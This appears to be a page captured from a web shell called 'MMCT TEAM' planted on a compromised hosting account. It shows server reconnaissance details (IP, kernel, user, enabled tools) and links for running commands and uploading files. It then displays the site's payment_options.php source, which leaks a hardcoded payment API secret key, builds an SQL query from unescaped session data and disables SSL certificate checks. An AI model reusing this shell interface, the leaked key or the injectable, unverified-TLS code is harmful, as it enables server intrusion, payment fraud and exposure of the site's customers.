MMCT TEAM
Server IP : 2a02:4780:11:1596:0:cbc:26e7:10  /  Your IP : 216.73.216.78
Web Server : LiteSpeed
System : Linux in-mum-web1496.main-hosting.eu 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
User : u213657319 ( 213657319)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0555) :  /home/u213657319/domains/neoriseventures.in/public_html/src/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u213657319/domains/neoriseventures.in/public_html/src/../payment_options.php
<div class="box">

	<?php 
	$session_email=$_SESSION['customer_email'];
	$select_customer="select * from customers where customer_email='$session_email'";
	$run_cust=mysqli_query($con,$select_customer);

	$row_customer=mysqli_fetch_array($run_cust);
	$customer_id=$row_customer['customer_id'];


	 ?>


		<h1 class="text-center">Payment Option</h1>
		<p class="lead text-center">
		<!--	<a href="order.php?c_id=<?php echo $customer_id ?>">Pay Offline</a>--->
		</p>
		<center>
			<p class="lead">
			<!--	<a href="index1.php?c_id=<?php echo $customer_id ?>">Pay with Paypal
					<img src="images/paypal.jpg" width="500" height="270" class="img-responsive"></a>-->
					<p></p>Pay With QR Code</p>
					
				<img src="images/qr-code.jpg" style="width="500" height:400px";></a>
				
		</p><br><br>
		
<form>
  <input type="button" value="Fill Payment Transction Details" onclick="openWin()">
</form>


<form>
  <input type="button" value="Payment" onclick="payWin()">
</form>




<!---------------payment gateway---------------------------------->
<?php

// Phone Pay API credentials

$phone_pay_merchant_id = '1';

$phone_pay_secret_key = 'b5dda68d-374f-4246-9711-84f6edef4daa';



// Transaction details

$amount = 100;

$currency = 'INR';

$transaction_id = uniqid();



// Phone Pay API endpoint

$phone_pay_url = 'https://api.phonepay.io/v1/charge';



// Prepare the request payload

$request_payload = [

    'merchant_id' => $phone_pay_merchant_id,

    'transaction_id' => $transaction_id,

    'amount' => $amount,

    'currency' => $currency

];



// Generate the request signature

$signature = hash_hmac('sha256', json_encode($request_payload), $phone_pay_secret_key);

// print_r($signature);

// Add the signature to the request payload

$request_payload['signature'] = $signature;



// Send the request to Phone Pay API

$ch = curl_init($phone_pay_url);

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($request_payload));

curl_setopt($ch, CURLOPT_HTTPHEADER, [

    'Content-Type: application/json'

]);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
 $err = curl_error($ch);

  if ($err) {
    echo "cURL Error #:" . $err;
  }

curl_close($ch);


print_r($response);


// Process the response from Phone Pay API

if ($response) {

    $response_payload = json_decode($response, true);

    if ($response_payload['status'] == 'success') {

        // Payment success

        $transaction_reference = $response_payload['transaction_reference'];

        // Save the transaction details to your database

        // Redirect the user to a success page

    } else {

        // Payment failed

        $error_message = $response_payload['error_message'];

        // Display the error message to the user

    }

} else {

    // Error occurred while communicating with Phone Pay API

    $error_message = 'Error occurred while communicating with Phone Pay API';

    // Display the error message to the user

}

?>
<!-----------------End-Payment-Gateway---------------------------->


</center>
 </div>


<script>
function openWin() {
  window.open("https://gokulfarms.com/smtp/index.php");
}
</script>



<script>
function payWin() {
  window.open("https://mercury-uat.phonepe.com/transact/simulator?token=N0T5qvPtX3CJZ1dYbBnduQZf7OIH2V6EZTRpFWvcydD");
}
</script>










MMCT - 2023